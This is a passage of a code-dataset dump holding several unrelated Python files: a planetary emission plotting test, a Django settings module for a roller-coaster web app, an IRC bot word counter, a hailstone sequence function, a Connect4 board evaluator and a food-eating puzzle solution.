\"{:.2f}\".format(brightness_yslice[0]) +'±' + \"{:.2f}\".format(brightness_yslice[1]) + ' R')\n\n if with_sky:\n if mlt_date:\n if adjust_bg:\n savepath = rc.saveloc + target_body + '/plot/brightness/with_sky/mlt_date/adjust_bg/period_' + period_str + '/' + dickey + '/'\n os.makedirs(savepath, exist_ok=True)\n filename = target_body + '_period_' + period_str + '_' + linename + '.png'\n else:\n savepath = rc.saveloc + target_body + '/plot/brightness/with_sky/mlt_date/normal/period_' + period_str + '/' + dickey + '/'\n os.makedirs(savepath, exist_ok=True)\n filename = target_body + '_period_' + period_str + '_' + linename + '.png'\n else:\n if adjust_bg:\n savepath = rc.saveloc + target_body + '/plot/brightness/with_sky/daily/adjust_bg/period_' + period_str + '/' + dickey + '/'\n os.makedirs(savepath, exist_ok=True)\n filename = target_body + '_' + date[:-2] + '_' + linename + '.png'\n else:\n savepath = rc.saveloc + target_body + '/plot/brightness/with_sky/daily/normal/period_' + period_str + '/' + dickey + '/'\n os.makedirs(savepath, exist_ok=True)\n filename = target_body + '_' + date[:-2] + '_' + linename + '.png'\n else:\n if mlt_date:\n if flip_n_roll_sky:\n savepath = rc.saveloc + target_body + '/plot/brightness/no_sky/mlt_data/flip_n_roll_sky/period_' + period_str + '/' + dickey + '/'\n else:\n savepath = rc.saveloc + target_body + '/plot/brightness/no_sky/mlt_data/normal/period_' + period_str + '/' + dickey + '/'\n os.makedirs(savepath, exist_ok=True)\n filename = target_body + '_period_' + period_str + '_' + linename + '.png'\n\n else:\n savepath = rc.saveloc + target_body + '/plot/brightness/no_sky/daily/normal/period_' + period_str + '/' + dickey + '/'\n os.makedirs(savepath, exist_ok=True)\n filename = target_body + '_' + date[:-2] + '_' + linename + '.png'\n\n if save:\n plt.savefig(savepath + filename)\n\ndef qlplot_KAI_load(target_body, obs_period, linename, date_mean=None, with_sky=False, daily=False, mlt_date=False,\n adjust_bg=False, flip_n_roll_sky=False, pdf=False):\n period_str = '{:02}'.format(obs_period)\n\n if with_sky:\n if daily:\n if adjust_bg:\n path = rc.saveloc + target_body + '/npy/brightness/with_sky/daily/adjust_bg/period_' + period_str + '/'\n else:\n path = rc.saveloc + target_body + '/npy/brightness/with_sky/daily/normal/period_' + period_str + '/'\n savename = 'brightness_' + date_mean + '.npy'\n\n elif mlt_date:\n if adjust_bg:\n path = rc.saveloc + target_body + '/npy/brightness/with_sky/mlt_date/adjust_bg/period_' + period_str + '/'\n else:\n path = rc.saveloc + target_body + '/npy/brightness/with_sky/mlt_date/normal/period_' + period_str + '/'\n savename = 'brightness_mlt_date.npy'\n else:\n if daily:\n path = rc.saveloc + target_body + '/npy/brightness/no_sky/daily/normal/period_' + period_str + '/'\n savename = 'brightness_' + date_mean + '.npy'\n elif mlt_date:\n if flip_n_roll_sky:\n path = rc.saveloc + target_body + '/npy/brightness/no_sky/mlt_date/flip_n_roll_sky/period_' + period_str + '/'\n else:\n path = rc.saveloc + target_body + '/npy/brightness/no_sky/mlt_date/normal/period_' + period_str + '/'\n savename = 'brightness_mlt_date.npy'\n\n dic = np.load(path + savename, allow_pickle=True).item()\n key = list(dic.keys())[0]\n qlplot_KAI(dic[key], linename)\n\nif __name__ == '__main__':\n obs_period = 7\n linename = 'OI1304'\n with_sky = False\n mlt_date = True\n daily = False\n adjust_bg = False\n flip_n_roll_sky = False\n half_dist = False\n qlplot_KAI_load('mars', obs_period, linename, with_sky=with_sky, daily=daily, mlt_date=mlt_date,\n adjust_bg=adjust_bg, flip_n_roll_sky=flip_n_roll_sky, pdf=False)","sub_path":"test/test_plt_img_load.py","file_name":"test_plt_img_load.py","file_ext":"py","file_size_in_byte":14365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"643521703","text":"import os\nimport json\nfrom dotenv import load_dotenv\nimport environ\nload_dotenv()\n\n\nenv = environ.Env(\n # set casting, default value\n DEBUG=(bool, False)\n)\n\n# A list of all the people who get code error notifications. When DEBUG=False and AdminEmailHandler is configured in LOGGING (done by default), Django emails these people the details of exceptions raised in the request/response cycle.\n# ADMINS = [('Admin', 'quantum@admin.com'), ('Mary', 'mary@example.com')]\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\nenviron.Env.read_env(os.path.join(BASE_DIR, '.env'))\n\nENVIRONMENT = 'production'\n\nSECRET_KEY = os.environ.get('DJANGO_SECRET_KEY')\n\n\nDEBUG = False\n# from django.contrib.messages import constants as message_constants\n# MESSAGE_LEVEL = message_constants.DEBUG\n\nALLOWED_HOSTS = ['*']\n# ALLOWED_HOSTS = ['https://quantum-coasters.uc.r.appspot.com', 'https://api-dot-quantum-coasters.uc.r.appspot.com']\n\n\nINSTALLED_APPS = [\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'corsheaders',\n 'rest_framework',\n 'rest_framework.authtoken',\n 'rest_auth',\n 'rest_framework_jwt',\n 'rest_framework_jwt.blacklist',\n 'django.contrib.sites',\n 'rest_auth.registration',\n 'allauth',\n 'allauth.account',\n 'allauth.socialaccount',\n # Included providers for allauth\n # 'allauth.socialaccount.providers.auth0',\n 'social_django',\n 'django_filters',\n 'django.contrib.sessions.middleware',\n 'channels',\n 'quantumapi',\n 'quantumforum',\n 'quantumadminapp.apps.QuantumadminappConfig',\n # 'webpack_loader',\n]\n\n# Config/ routing for Websockets/ chat\nASGI_APPLICATION = \"quantumapp.asgi.application\"\n\nCHANNEL_LAYERS = {\n \"default\": {\n \"BACKEND\": \"channels_redis.core.RedisChannelLayer\",\n \"CONFIG\": {\n \"hosts\": [(\"127.0.0.1\", 6379)],\n },\n },\n}\n\n# WEBPACK_LOADER = {\n# 'DEFAULT': {\n# 'BUNDLE_DIR_NAME': '',\n# 'STATS_FILE': os.path.join(BASE_DIR, 'webpack-stats.json')\n# }\n# }\n\nMIDDLEWARE = [\n 'corsheaders.middleware.CorsMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.security.SecurityMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.auth.middleware.RemoteUserMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n 'social_django.middleware.SocialAuthExceptionMiddleware',\n 'django.contrib.sites.middleware.CurrentSiteMiddleware',\n]\n\n\nREST_FRAMEWORK = {\n 'DEFAULT_FILTER_BACKENDS': ['django_filters.rest_framework.DjangoFilterBackend'],\n 'DEFAULT_PERMISSION_CLASSES': [\n 'rest_framework.permissions.IsAuthenticated',\n ],\n # These are set globally, as the global authentication schemes. Can also set on a per view basis.\n # Using authentication_classes = [JSONWebTokenAuthentication]..etc...\n 'DEFAULT_AUTHENTICATION_CLASSES': (\n 'rest_framework.authentication.SessionAuthentication',\n 'rest_framework.authentication.TokenAuthentication',\n 'rest_framework.authentication.BasicAuthentication',\n 'rest_framework.authentication.RemoteUserAuthentication',\n 'rest_framework_jwt.authentication.JSONWebTokenAuthentication',\n # 'rest_framework_simplejwt.authentication.JWTAuthentication',\n ),\n}\n\n# env variables sent through context to templates, redirect to Client React App URLS\nREACT_APP_FORUM_URL = os.environ.get('REACT_APP_FORUM_URL')\nREACT_APP_HOME = os.environ.get('REACT_APP_HOME')\nREACT_APP_USER_PROFILE = os.environ.get('REACT_APP_USER_PROFILE')\nCLIENT_URL = 'https://quantum-coasters.uc.r.appspot.com'\n\n# For if deployed to App Engine\nFORUM_URL = \"https://api-dot-quantum-coasters.uc.r.appspot.com/index\"\nADMIN_URL = \"https://api-dot-quantum-coasters.uc.r.appspot.com/quantumadmin/\"\n\n\n# Quantum API - Auth0 Credentials (Management API APP(Test Application))\nAUTH0_CLIENT_ID = os.environ.get('AUTH0_CLIENT_ID')\nAUTH0_DOMAIN = os.environ.get('AUTH0_DOMAIN')\nAUTH0_CLIENT_SECRET = os.environ.get('AUTH0_CLIENT_SECRET')\n\n# Quantum API\nAPI_IDENTIFIER = os.environ.get('API_IDENTIFIER')\nQUANTUM_COASTERS_API_ID = os.environ.get('QUANTUM_COASTERS_API_ID')\n\n\n# Management API\n# SCOPES = ['openid', 'profile', 'offline_access', 'name', 'given_name', 'family_name', 'nickname', 'email', 'email_verified', 'picture', 'created_at', 'identities', 'phone', 'address']\n# AUTH0_OPEN_ID_USERS_SERVER_URL = os.environ.get('AUTH0_OPEN_ID_USERS_SERVER_URL')\nAUTH0_OPEN_ID_SERVER_URL = os.environ.get('AUTH0_OPEN_ID_SERVER_URL')\nAUTH0_MANAGEMENT_API_ID = os.environ.get('AUTH0_MANAGEMENT_API_ID')\nMANAGEMENT_API_PAYLOAD = json.dumps({\n \"client_id\": os.environ.get('AUTH0_CLIENT_ID'),\n \"client_secret\": os.environ.get('AUTH0_CLIENT_SECRET'),\n \"audience\": os.environ.get('AUTH0_OPEN_ID_SERVER_URL'),\n \"grant_type\": \"client_credentials\"\n })\nMANAGEMENT_API_AUTHORIZATION_CODE = json.dumps({\n \"client_id\": os.environ.get('AUTH0_CLIENT_ID'),\n \"client_secret\": os.environ.get('AUTH0_CLIENT_SECRET'),\n \"audience\": os.environ.get('AUTH0_OPEN_ID_SERVER_URL'),\n \"grant_type\": \"authorization_code\"\n })\n\n\n# Auth0 Credentials for Quantum Application\nSOCIAL_AUTH_TRAILING_SLASH = False # Remove trailing slash from routes\nSOCIAL_AUTH_AUTH0_DOMAIN = os.environ.get('SOCIAL_AUTH_AUTH0_DOMAIN')\n\n# Quantum Coasters Key\nSOCIAL_AUTH_AUTH0_KEY = os.environ.get('SOCIAL_AUTH_AUTH0_KEY')\n\n# Quantum Coasters Secret\nSOCIAL_AUTH_AUTH0_SECRET = os.environ.get('SOCIAL_AUTH_AUTH0_SECRET')\nSOCIAL_AUTH_AUTH0_SCOPE = [\n 'openid',\n 'profile',\n 'email',\n]\n\n\n# For Testing, to persist session cookies between redirect when redirecting user from login page.\n# Set to false for dev on localhost\nSESSION_COOKIE_SECURE = True\nCSRF_COOKIE_SECURE = False\n# If this is set to True, the cookie will be marked as “secure”, which means browsers may ensure that the cookie is only sent with an HTTPS connection\n# CSRF_COOKIE_HTTPONLY = False\n\n# https://docs.djangoproject.com/en/3.2/ref/settings/#session-cookie-domain\nSESSION_COOKIE_DOMAIN = \"appspot.com\"\n# Whether to store the CSRF token in the user’s session instead of in a cookie. It requires the use of django.contrib.sessions\nCSRF_USE_SESSIONS = False\nSESSION_SAVE_EVERY_REQUEST = True\nSESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer'\nSESSION_COOKIE_SECURE = True\n\n# # Use with Ngnix configuration\n# SOCIAL_AUTH_REDIRECT_IS_HTTPS = True\n\n# https://docs.djangoproject.com/en/3.2/ref/contrib/sites/#module-django.contrib.sites\nSITE_ID = 1\n\n\nAUTH_USER_MODEL = 'quantumapi.User'\n\nJWT_AUTH = {\n 'JWT_PAYLOAD_GET_USERNAME_HANDLER':\n 'quantumapi.utils.jwt_get_username_from_payload_handler',\n 'JWT_DECODE_HANDLER':\n 'quantumapi.utils.jwt_decode_token',\n 'JWT_ALGORITHM': 'RS256',\n 'JWT_AUDIENCE': API_IDENTIFIER,\n 'JWT_ISSUER': os.environ.get('JWT_ISSUER'),\n 'JWT_AUTH_HEADER_PREFIX': 'Bearer',\n}\n\n\nAUTHENTICATION_BACKENDS = (\n 'social_core.backends.open_id.OpenIdAuth',\n 'quantumapi.auth0_backend.Auth0',\n 'django.contrib.auth.backends.RemoteUserBackend',\n 'quantumapi.auth0_backend.QuantumAdminOpenID',\n # Take into account that backends must be defined in AUTHENTICATION_BACKENDS or Django won’t pick them when trying to authenticate the user.\n 'social_core.backends.google_openidconnect.GoogleOpenIdConnect',\n 'social_core.backends.google.GoogleOAuth2',\n 'social_core.backends.google.GoogleOAuth',\n # 'social_core.backends.open_id_connect.OpenIdConnectAuth'\n\n # `allauth` specific authentication methods, such as login by e-mail\n # 'allauth.account.auth_backends.AuthenticationBackend',\n 'django.contrib.auth.backends.ModelBackend',\n)\n\nROOT_URLCONF = 'quantumapp.urls'\n\n# from corsheaders.defaults import default_headers\n# CORS_ALLOW_HEADERS = default_headers + (\n# 'Access-Control-Allow-Origin',\n# )\n\n# CORS_ORIGIN_WHITELIST = (\n# 'https://quantum-coasters.uc.r.appspot.com',\n# 'https://api-dot-quantum-coasters.uc.r.appspot.com',\n# 'https://quantum-coasters.uc.r.appspot.com/',\n# 'https://api-dot-quantum-coasters.uc.r.appspot.com/',\n# )\n\nCORS_ALLOWED_ORIGINS = [\n 'http://127.0.0.1:3000',\n 'http://localhost:3000',\n 'http://localhost:8000',\n 'http://127.0.0.1:8000',\n 'https://quantum-coasters.uc.r.appspot.com',\n 'https://api-dot-quantum-coasters.uc.r.appspot.com',\n]\n\n# To allow some domains to make \"POST\" requests\nCSRF_TRUSTED_ORIGINS = [\n 'https://quantum-coasters.uc.r.appspot.com',\n]\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n # 'DIRS': [[os.path.join(BASE_DIR, \"quantumadminapp\")],],\n 'DIRS': [],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n 'social_django.context_processors.backends',\n 'social_django.context_processors.login_redirect',\n ],\n },\n },\n]\n\nWSGI_APPLICATION = 'quantumapp.wsgi.application'\n\n\n# Database\n# https://docs.djangoproject.com/en/3.0/ref/settings/#databases\n# Use django-environ to parse the connection string\n# DATABASES = {\"default\": env.db()}\n# print(env.db())\n# DATABASE_URL = os.environ.get('DATABASE_URL')\n# DATABASES = {\n# 'default' : {\n# 'ENGINE': 'django.db.backends.postgresql',\n# 'NAME': os.environ.get('CLOUD_SQL_DATABASE_NAME'),\n# 'USER': os.environ.get('CLOUD_SQL_USERNAME'),\n# 'PASSWORD': os.environ.get('CLOUD_SQL_PASSWORD'),\n# 'HOST': os.environ.get('CLOUD_SQL_HOST'),\n# # 'PORT': 5432,\n# }\n# }\n\nDATABASE_URL=os.environ.get('DATABASE_URL')\nDATABASES = {\"default\": env.db()}\n\n# If the flag as been set, configure to use proxy\nif os.getenv(\"USE_CLOUD_SQL_AUTH_PROXY\", None):\n DATABASES[\"default\"][\"HOST\"] = \"127.0.0.1\"\n DATABASES[\"default\"][\"PORT\"] = 5432\n\n\n# if os.environ.get(\"USE_CLOUD_SQL_AUTH_PROXY\") and ENVIRONMENT == 'local':\n# DATABASE_URL=os.environ.get('DATABASE_URL')\n# DATABASES = {\n# 'default' : {\n# 'ENGINE': 'django.db.backends.postgresql',\n# 'NAME': os.environ.get('CLOUD_SQL_DATABASE_NAME'),\n# # 'NAME': os.environ.get('CLOUD_SQL_CONNECTION_NAME'),\n# 'USER': os.environ.get('CLOUD_SQL_USERNAME'),\n# 'PASSWORD': os.environ.get('CLOUD_SQL_PASSWORD'),\n# 'HOST': \"127.0.0.1\",\n# 'PORT': 5432,\n# }\n# }\n# else:\n# DATABASE_URL=os.environ.get('DATABASE_URL')\n# DATABASES = {\n# 'default' : {\n# 'ENGINE': 'django.db.backends.postgresql',\n# 'NAME': os.environ.get('CLOUD_SQL_DATABASE_NAME'),\n# 'USER': os.environ.get('CLOUD_SQL_USERNAME'),\n# 'PASSWORD': os.environ.get('CLOUD_SQL_PASSWORD'),\n# 'HOST': os.environ.get('CLOUD_SQL_HOST'),\n# # 'PORT': 5432,\n# }\n# }\n\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\n\n# Internationalization\n# https://docs.djangoproject.com/en/3.0/topics/i18n/\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'UTC'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/3.0/howto/static-files/\n\nMEDIA_URL = '/media/'\nMEDIA_ROOT = os.path.join(BASE_DIR, \"media/\")\n\nSTATIC_URL = '/static/'\n# STATICFILES_DIRS = [\n# os.path.join(BASE_DIR, \"quantumforum/static\"),\n# os.path.join(BASE_DIR, \"quantumadmin/static\"),\n# ]\nSTATIC_ROOT = os.path.join(BASE_DIR, \"static\")\n\n\n# For Quantum Coasters React app\nLOGIN_URL = os.environ.get('LOGIN_URL')\nLOGIN_REDIRECT_URL = os.environ.get('LOGIN_REDIRECT_URL')\nLOGOUT_URL = os.environ.get('LOGOUT_URL')\nLOGOUT_REDIRECT_URL = os.environ.get('LOGOUT_REDIRECT_URL')\n\n# QuantumAdminApp\nQUANTUMADMIN_REGISTER_URL = os.environ.get('QUANTUMADMIN_REGISTER_URL')\n\n# Social Auth Configs (For Django full stack app)\n# https://readthedocs.org/projects/python-social-auth/downloads/pdf/latest/\n# https://python-social-auth.readthedocs.io/en/latest/configuration/django.html\n\n# The OpenID backend will check for a username key in the values returned by the server, but default to first-name\n# + last-name if that key is missing. It’s possible to indicate the username key in the values If the username is under\n# a different key with a setting, but backends should have defined a default value.\n# SOCIAL_AUTH_FEDORA_USERNAME_KEY = 'email'\n\n# authorize endpoint in Auth0 backend to authorize user.\nSOCIAL_AUTH_LOGIN_URL = os.environ.get('SOCIAL_AUTH_LOGIN_URL')\n\n\n\nSOCIAL_AUTH_LOGIN_REDIRECT_URL = os.environ.get('SOCIAL_AUTH_LOGIN_REDIRECT_URL')\nSOCIAL_AUTH_NEW_ASSOCIATION_REDIRECT_URL = os.environ.get('SOCIAL_AUTH_NEW_ASSOCIATION_REDIRECT_URL')\n\nSOCIAL_AUTH_URL_NAMESPACE = 'social'\nSOCIAL_AUTH_ADMIN_USER_SEARCH_FIELDS = [\n 'username', 'first_name', 'last_name', 'email'\n]\n\nSOCIAL_AUTH_USER_MODEL = 'quantumapi.User'\nSOCIAL_AUTH_USERNAME_IS_FULL_EMAIL = True\nSOCIAL_AUTH_CLEAN_USERNAMES = True\n# SOCIAL_AUTH_PROTECTED_USER_FIELDS = os.environ.get('SOCIAL_AUTH_PROTECTED_USER_FIELDS')\n# SOCIAL_AUTH_AUTH0_WHITELISTED_DOMAINS = os.environ.get('SOCIAL_AUTH_AUTH0_WHITELISTED_DOMAINS')\n# SOCIAL_AUTH_AUTH0_WHITELISTED_DOMAINS = os.environ.get('SOCIAL_AUTH_AUTH0_WHITELISTED_DOMAINS')\n\n# SOCIAL_AUTH_POSTGRES_JSONFIELD = True\nSOCIAL_AUTH_JSONFIELD_ENABLED = True\nSOCIAL_AUTH_STRATEGY = 'social_django.strategy.DjangoStrategy'\nSOCIAL_AUTH_STORAGE = 'social_django.models.DjangoStorage'\n\nSOCIAL_AUTH_PIPELINE = (\n 'social_core.pipeline.social_auth.social_details',\n 'social_core.pipeline.social_auth.social_uid',\n 'social_core.pipeline.social_auth.auth_allowed',\n 'social_core.pipeline.social_auth.social_user',\n 'social_core.pipeline.user.get_username',\n 'social_core.pipeline.mail.mail_validation',\n 'social_core.pipeline.social_auth.associate_by_email',\n 'social_core.pipeline.user.create_user',\n 'social_core.pipeline.social_auth.associate_user',\n 'social_core.pipeline.social_auth.load_extra_data',\n 'social_core.pipeline.user.user_details',\n 'social_core.pipeline.debug.debug',\n)\n\n# Django All-Auth Settings (SocialAccount)\n# https://django-allauth.readthedocs.io/en/latest/configuration.html\n\nSOCIALACCOUNT_PROVIDERS = {\n 'auth0': {\n 'AUTH0_URL': os.environ.get('SOCIALACCOUNT_DOMAIN'),\n \"VERIFIED_EMAIL\": True\n }\n}\n\nACCOUNT_USER_MODEL_USERNAME_FIELD = 'email'\nACCOUNT_EMAIL_REQUIRED = True\nACCOUNT_UNIQUE_EMAIL = True\nACCOUNT_USERNAME_REQUIRED = True\nSOCIALACCOUNT_STORE_TOKENS = True\n\n# Email verification\n# https://django-allauth.readthedocs.io/en/latest/views.html#e-mail-verification\n# https://django-allauth.readthedocs.io/en/latest/views.html#e-mails-management-account-email\nACCOUNT_AUTHENTICATION_METHOD = 'email'\nACCOUNT_EMAIL_VERIFICATION = 'optional'\nSOCIALACCOUNT_EMAIL_VERIFICATION = ACCOUNT_EMAIL_VERIFICATION\nACCOUNT_CONFIRM_EMAIL_ON_GET = True\nACCOUNT_EMAIL_CONFIRMATION_ANONYMOUS_REDIRECT_URL = '/?verification=1'\nACCOUNT_EMAIL_CONFIRMATION_AUTHENTICATED_REDIRECT_URL = '/?verification=1'\n# ACCOUNT_CONFIRM_EMAIL_ON_GET = False\n# ACCOUNT_EMAIL_CONFIRMATION_ANONYMOUS_REDIRECT_URL = 'None'\n# ACCOUNT_EMAIL_CONFIRMATION_AUTHENTICATED_REDIRECT_URL = 'None'\n\n# Used to override forms, for example: {'signup': 'myapp.forms.SignupForm'}\n# SOCIALACCOUNT_FORMS = {}\n\nEMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend'\nREST_AUTH_SERIALIZERS = {\n 'USER_DETAILS_SERIALIZER': 'quantumapi.views.UserSerializer'\n}\nREST_SESSION_LOGIN = True\n\n# Django only sends a cookie if it needs to. If you don’t set any session data, it won’t send a session cookie, unless this is set to true.\nSESSION_SAVE_EVERY_REQUEST = True\n\n# When doing dumpdata, specifies fixture dir to put fixture in. *Comment out when running loaddata or will throw error bc it duplicates.\nFIXTURE_DIRS = '/Users/matthewcrook/code/nss/frontEnd/quantumapp/quantumapi/fixtures'\n\n# Setting Django's primary key type creation (this will exempt migrations)\nDEFAULT_AUTO_FIELD = 'django.db.models.AutoField'\n\n# Same but is a 64-bit integer, much like an AutoField except that it is guaranteed to fit numbers from 1 to 9223372036854775807.\n# DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'\n\n# CORS_ORIGIN_ALLOW_ALL = True\n# CORS_ALLOW_CREDENTIALS = True\n","sub_path":"quantumapp/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":17157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"151864267","text":"from twisted.plugin import IPlugin\nfrom heufybot.channel import IRCChannel\nfrom heufybot.moduleinterface import IBotModule\nfrom heufybot.modules.commandinterface import BotCommand\nfrom heufybot.utils import networkName\nfrom zope.interface import implements\nimport operator\n\n\nclass WordCounterCommand(BotCommand):\n implements(IPlugin, IBotModule)\n\n name = \"WordCounter\"\n commandUsed = False\n\n def triggers(self):\n return [\"addwordcount\", \"remwordcount\", \"wordcount\"]\n\n def actions(self):\n return super(WordCounterCommand, self).actions() + [\n (\"message-channel\", 1, self.countMessage),\n (\"ctcp-message\", 1, self.countAction) ]\n\n def load(self):\n self.help = \"Commands: addwordcount , remwordcount , wordcount | Add or remove a word that\" \\\n \" should be counted in the channel or request how many times a given word has been said.\"\n self.commandHelp = {\n \"addwordcount\": \"addwordcount | Add a word to be counted.\",\n \"remwordcount\": \"remwordcount | Remove a word that is being counted.\",\n \"wordcount\": \"wordcount | Request how many times a given word has been said.\"\n }\n if \"wordcounts\" not in self.bot.storage:\n self.bot.storage[\"wordcounts\"] = {}\n self.wordCounters = self.bot.storage[\"wordcounts\"]\n\n def checkPermissions(self, server, source, user, command):\n if command == \"addwordcount\" or command == \"remwordcount\":\n return not self.bot.moduleHandler.runActionUntilFalse(\"checkadminpermission\", server, source, user,\n \"word-counter\")\n else:\n return True\n\n def execute(self, server, source, command, params, data):\n self.commandUsed = True\n if \"channel\" not in data:\n self.replyPRIVMSG(server, source, \"Word counters can only be used in channels.\")\n return\n if len(params) < 1:\n self.replyPRIVMSG(server, source, \"You didn't specify a word.\")\n return\n network = networkName(self.bot, server)\n if network not in self.wordCounters:\n self.wordCounters[network] = {}\n if source not in self.wordCounters[network]:\n self.wordCounters[network][source] = {}\n word = params[0].lower()\n if command == \"addwordcount\":\n if word in self.wordCounters[network][source]:\n self.replyPRIVMSG(server, source, \"A counter for {!r} already exists.\".format(word))\n else:\n self.wordCounters[network][source][word] = {}\n self.bot.storage[\"wordcounts\"] = self.wordCounters\n self.replyPRIVMSG(server, source, \"A counter for {!r} has been added.\".format(word))\n elif command == \"remwordcount\":\n if word in self.wordCounters[network][source]:\n del self.wordCounters[network][source][word]\n self.bot.storage[\"wordcounts\"] = self.wordCounters\n self.replyPRIVMSG(server, source, \"The counter for {!r} has been removed.\".format(word))\n\n else:\n self.replyPRIVMSG(server, source, \"A counter for {!r} does not exist.\".format(word))\n elif command == \"wordcount\":\n self.commandUsed = True\n if word not in self.wordCounters[network][source]:\n self.replyPRIVMSG(server, source, \"A counter for {!r} does not exist.\".format(word))\n return\n total = sum(self.wordCounters[network][source][word].itervalues())\n result = \"The word {!r} has been said {} times.\".format(word, total)\n if result > 0:\n top = max(self.wordCounters[network][source][word].iteritems(), key=operator.itemgetter(1))\n result = \"{} The top contributor is {} with {} times.\".format(result, top[0], top[1])\n self.replyPRIVMSG(server, source, result)\n\n def countMessage(self, server, channel, user, body):\n self._countWords(networkName(self.bot, server), channel.name, user.nick, body)\n\n def countAction(self, server, source, user, body):\n if body.upper().startswith(\"ACTION\") and isinstance(source, IRCChannel):\n self._countWords(networkName(self.bot, server), source.name, user.nick, body)\n\n def _countWords(self, server, source, user, body):\n if self.commandUsed:\n self.commandUsed = False\n return\n if server not in self.wordCounters:\n return\n if source not in self.wordCounters[server]:\n return\n for word, users in self.wordCounters[server][source].iteritems():\n if word in body:\n if user in users:\n self.wordCounters[server][source][word][user] += 1\n else:\n self.wordCounters[server][source][word][user] = 1\n self.bot.storage[\"wordcounts\"] = self.wordCounters\n\n\nwordCounter = WordCounterCommand()\n","sub_path":"heufybot/modules/commands/wordcounter.py","file_name":"wordcounter.py","file_ext":"py","file_size_in_byte":5052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"566202905","text":"#Hail Stone program\n\ndef hail(first):\n \"\"\"\n This function which returns a list whose items are the\n hailstone sequence whose first term is (first)\n \"\"\"\n hail = []\n while first != 1:\n hail.append(first)\n if first%2 == 0:\n next_term = first/2\n first = next_term\n else: \n next_term = first*3+1\n first = next_term\n return hail\ns = hail(5)\nprint(s)","sub_path":"hailstone.py","file_name":"hailstone.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"589721376","text":"from connect4 import Connect4\nfrom bits import sparse_bit_count\n\nSIDE_TO_MOVE = 10\nFACTOR_3 = 18\n\nLOSS_SCORE = -10000\n \ndef shifts4(state, mask, direction):\n\tmask &= mask << (2 * direction)\n\tmask &= mask << direction\n\treturn mask\n \ndef strech4(state, mask, direction):\n\tmask |= mask >> (2 * direction)\n\tmask |= mask >> direction\n\treturn mask\n\ndef evaluate(state):\n\tscore = SIDE_TO_MOVE\n\tscore += direction(state, state._up)\n\tscore += direction(state, state._right)\n\tscore += direction(state, state._right_up)\n\tscore += direction(state, state._right_down)\n\treturn score\n\ndef direction(state, i):\n\tcurrent_player = state.current_player()\n\topponent = state.opponent()\n\town_tokens = state._player_tokens[current_player]\n\topponent_tokens = state._player_tokens[opponent]\n\t\n\tscore = 0\n\twin_positions = shifts4(state, state._full_board & ~opponent_tokens, i)\n\twin_fields = strech4(state, win_positions, i)\n\ttokens = own_tokens\n\ttokens &= tokens << i\n\tscore += sparse_bit_count(win_fields & tokens)\n\ttokens &= tokens << i\n\tscore += FACTOR_3 * sparse_bit_count(win_fields & tokens)\n \n\twin_positions = shifts4(state, state._full_board & ~own_tokens, i)\n\twin_fields = strech4(state, win_positions, i)\n\ttokens = opponent_tokens\n\ttokens &= tokens << i\n\tscore -= sparse_bit_count(win_fields & tokens)\n\ttokens &= tokens << i\n\tscore -= FACTOR_3 * sparse_bit_count(win_fields & tokens)\n\treturn score\n","sub_path":"python/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"518247983","text":"import heapq\n\nfood_times= [8,6,4] \nk = 15\n# def solution(food_times, k):\n # 전체 음식을 먹는 시간보다 k가 크거나 같다면 -1\nif sum(food_times) <=k :\n print(-1)\n\n # 시간이 작은 음식부터 빼야 하므로 우선순위 큐를 이용\nq =[]\nfor i in range(len(food_times)):\n # (음식시간, 음식번호) 형태로 우선순위 큐에 삽입\n heapq.heappush(q,(food_times[i],i+1)) # foodtimes 를 기준으로 정렬됨\n \nsum_value =0 # 먹기 위해 사용한 시간 \nprevious =0 # 직전에 다먹은 음식시간\nlength = len(food_times)# 남은 음식 개수\n\n # sum_value +(현재의 음식 시간+ 이전 음식 시간)* 현재 음식 개수와 k비교\nwhile sum_value+((q[0][0]- previous)* length) <=k:\n now = heapq.heappop(q)[0]\n sum_value += (now- previous) * length # 이전음식 먹은 시간만큼 지금 음식도 없어졌을테니까 \n length -= 1 # 다먹은 음식 제외\n previous = now # 이전 음식 시간 재설정\n\n # 남은 음식중에서 몇 번째 음식인지 확인하여 출력\nresult = sorted(q,key= lambda x : x[1]) # 음식의 번호 기준으로 정렬\nprint(result[(k- sum_value)% length][1])\n\n 